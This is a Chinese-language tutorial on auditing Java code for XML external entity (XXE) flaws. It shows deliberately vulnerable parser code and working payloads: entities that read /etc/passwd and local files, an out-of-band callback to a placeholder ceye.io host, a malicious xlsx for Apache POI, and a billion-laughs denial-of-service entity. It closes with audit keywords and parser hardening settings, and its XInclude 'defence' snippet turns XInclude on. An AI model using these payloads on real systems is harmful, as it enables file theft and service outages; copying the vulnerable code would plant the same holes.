前言
- 學習總結Java審計過程中筆記,審計方法
- 閱讀要求:有簡單Java代碼基礎,瞭解漏洞原理
- 閱讀時長:30min 篇幅比較長
漏洞簡介
簡單來說,XXE就是XML外部實體注入。當允許引用外部實體時,通過構造惡意內容,就可能導致任意文件讀取、系統命令執行、內網端口探測、攻擊內網網站等危害。
有回顯
不說廢話,先看效果,成功讀取文本內容。tip: 本次測試中需要將Content-Type: application/x-www-form-urlencoded
修改成Content-Type: application/xml
不然就無法成功。
代碼分析漏洞成因:
public String xxeDocumentBuilderReturn(HttpServletRequest request) {
try {
String xml_con = WebUtils.getRequestBody(request);
System.out.println(xml_con);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(xml_con);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml
// 遍歷xml節點name和value
StringBuffer buf = new StringBuffer();
NodeList rootNodeList = document.getChildNodes();
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList child = rootNode.getChildNodes();
for (int j = 0; j < child.getLength(); j++) {
Node node = child.item(j);
buf.append(node.getNodeName() + ": " + node.getTextContent() + "\n");
}
}
sr.close();
System.out.println(buf.toString());
return buf.toString();
} catch (Exception e) {
System.out.println(e);
return "except";
}
}
不難發現我們只要清楚這四行代碼功能,就能很好清楚Java解析XML機制。
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(xml_con);
InputSource is = new InputSource(sr);
Document document = db.parse(is);
DocumentBuilderFactory是一個抽象工廠類,它不能直接實例化,但該類提供了一個newInstance方法 ,這個方法會根據本地平臺默認安裝的解析器,自動創建一個工廠的對象並返回。
無回顯
public String DocumentBuilder(HttpServletRequest request) {
try {
String xml_con = WebUtils.getRequestBody(request);
System.out.println(xml_con);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(xml_con);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml
// 遍歷xml節點name和value
StringBuffer result = new StringBuffer();
NodeList rootNodeList = document.getChildNodes();
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList child = rootNode.getChildNodes();
for (int j = 0; j < child.getLength(); j++) {
Node node = child.item(j);
if (child.item(j).getNodeType() == Node.ELEMENT_NODE) {
result.append(node.getNodeName() + ": " + node.getFirstChild().getNodeValue() + "\n");
}
}
}
sr.close();
System.out.println(result.toString());
return result.toString();
} catch (Exception e) {
System.out.println(e);
return "except";
}
}
我們使用burp比較器分析兩部分代碼,不能發現左邊就是多了一個判斷語句。(左:無回顯代碼 右:有回顯代碼)
if (child.item(j).getNodeType() == Node.ELEMENT_NODE)
正常解析XML,需要判斷是否是ELEMENT_NODE類型。否則會出現多餘的的節點。
對於這樣子無回顯的驗證可以使用ceye.io網站,具體方法:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE joychou [
<!ENTITY xxe SYSTEM "http://ip.port.xxxx.ceye.io/xxe_test">
]>
<root>&xxe;</root>
複測過程中遇見的小坑,個人感覺純屬玄學問題。兩次請求數據幾乎是一模一樣的,但是返回結果愣是不一樣,一個200一個400。(充分體現了挖洞得隨緣,有時候姿勢對了,但是結果不對可能不是你的錯誤)
Xinclude
什麼是xinclude
顧名思義,xinclude可以理解爲xml include熟悉編譯/腳本語言的一定熟知,像php的include,python和java的import都是可以進行文件包含的。
那麼文件包含有什麼好處?
當然是可以使代碼更整潔,我們可以將定義的功能函數放在function.php中,再在需要使用功能函數的文件中使用include包含function.php,這樣就避免了重複冗餘的函數定義,同樣可以增加代碼的可讀性。故此,xinclude也不例外,它是xml標記語言中包含其他文件的方式。
<?xml version="1.0" ?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///E:/1.txt" parse="text"/>
</root>
public String xxe_xinclude_DocumentBuilder(HttpServletRequest request) {
try {
String xml_con = WebUtils.getRequestBody(request);
System.out.println(xml_con);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setXIncludeAware(true); // 支持XInclude
dbf.setNamespaceAware(true); // 支持XInclude
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(xml_con);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml
NodeList rootNodeList = document.getChildNodes();
String str = new String();
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList xxe = rootNode.getChildNodes();
for (int j = 0; j < xxe.getLength(); j++) {
Node xxeNode = xxe.item(j);
str = str + xxeNode.getNodeValue();
System.out.println(str);
}
}
sr.close();
return str;
} catch (Exception e) {
System.out.println(e);
return "except";
}
}
Payload分享
飄零師傅的payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE resetPassword [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % expr 'aaa)>
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:////%file;'>">
%eval;
%error;
<!ELEMENT aa (bb'>
%local_dtd;
]>
<request>
<status>&data;</status>
</request>
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
Poi ooxml XXE
CVE-2014-3529
- 新建xxe.xlsx文件,修改後綴名xxe.zip解壓。
- 修改[Content-Types].xml
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://xxxxx.xx.ixxo"> ]>
<x>&xxe;</x>
後因爲無法訪問ceye.io網站,筆者自己在本地搭建一臺服務器。推薦使用phpstudy,開啓訪問日誌,具體方法百度。
-
重新壓縮成zip,在修改成xlsx文件。
-
上傳文件
-
或者直接讀取文件。
File f = new File("/path/xxe.xlsx");
FileInputStream in = new FileInputStream(f);
XSSFWorkbook wb = new XSSFWorkbook(in); // xxe vuln
XSSFSheet sheet = wb.getSheetAt(0);
int total = sheet.getLastRowNum();
for (Row row : sheet){
for (Cell cell :row){
System.out.println(cell.getStringCellValue());
}
System.out.println("expection");
}
- 看下報錯,報出poi錯誤纔是正確的。
- 查看訪問記錄
- 修復建議,換成3.10-FINAL版本以上
CVE-2017-5644
其他步驟同CVE-2014-3529中的方式,這次是在 xl/workbook.xml 中注入實體:
<!DOCTYPE x [
<!ENTITY e1 "">
<!ENTITY e2 "&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;">
<!ENTITY e3 "&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;">
<!ENTITY e4 "&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;">
<!ENTITY e5 "&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;">
<!ENTITY e6 "&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;">
<!ENTITY e7 "&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;">
<!ENTITY e8 "&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;">
<!ENTITY e9 "&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;">
<!ENTITY e10 "&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;">
<!ENTITY e11 "&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;">
]>
<x>&e11;</x>
<x>&e11;</x> 代碼引用ENTITY e11,而 e11 由16 個 e10 組成,遞歸調用,循環次數達到 16^10 的規模。循環大量的實體引用,會消耗大量的CPU資源,長時間顯示佔用近100%。
POIXMLTypeLoader 中,解析xml的時候直接讀取xml,沒有對實體的數量進行限制。3.11 對 POIXMLTypeLoader 中的實體大小進行了限制 ,最大爲4096,但是當實體爲空的時候(如上例),還是可以構造空實體,形成大量循環,佔用 cpu 資源,造成拒絕服務攻擊。
xlsx-streamer XXE
xlsx-streamer XXE漏洞與Poi ooxml XXE類似,具體查看參考鏈接筆者這裏就不過多的敘述了。
代碼審計技巧
查找關鍵字
javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
…………
XXE防禦
//一般的防護
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
//xinclude防護
dbf.setXIncludeAware(true); // 支持XInclude
dbf.setNamespaceAware(true); // 支持XInclude
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
推薦案例
收集了很多國內外知名廠商出現案例
基礎知識文章XXE
XXE更多騷操作
Apache Solr XXE漏洞分析 -【CVE-2018-8026 】
參考
https://blog.csdn.net/weixin_40918067/article/details/90950535
https://github.com/JoyChou93/java-sec-code/wiki/XXE
https://blog.csdn.net/hua1017177499/article/details/78985166
https://p0rz9.github.io/2019/02/27/xxe/
https://www.anquanke.com/post/id/156227
https://www.jianshu.com/p/73cd11d83c30
https://www.itread01.com/hkpcyyp.html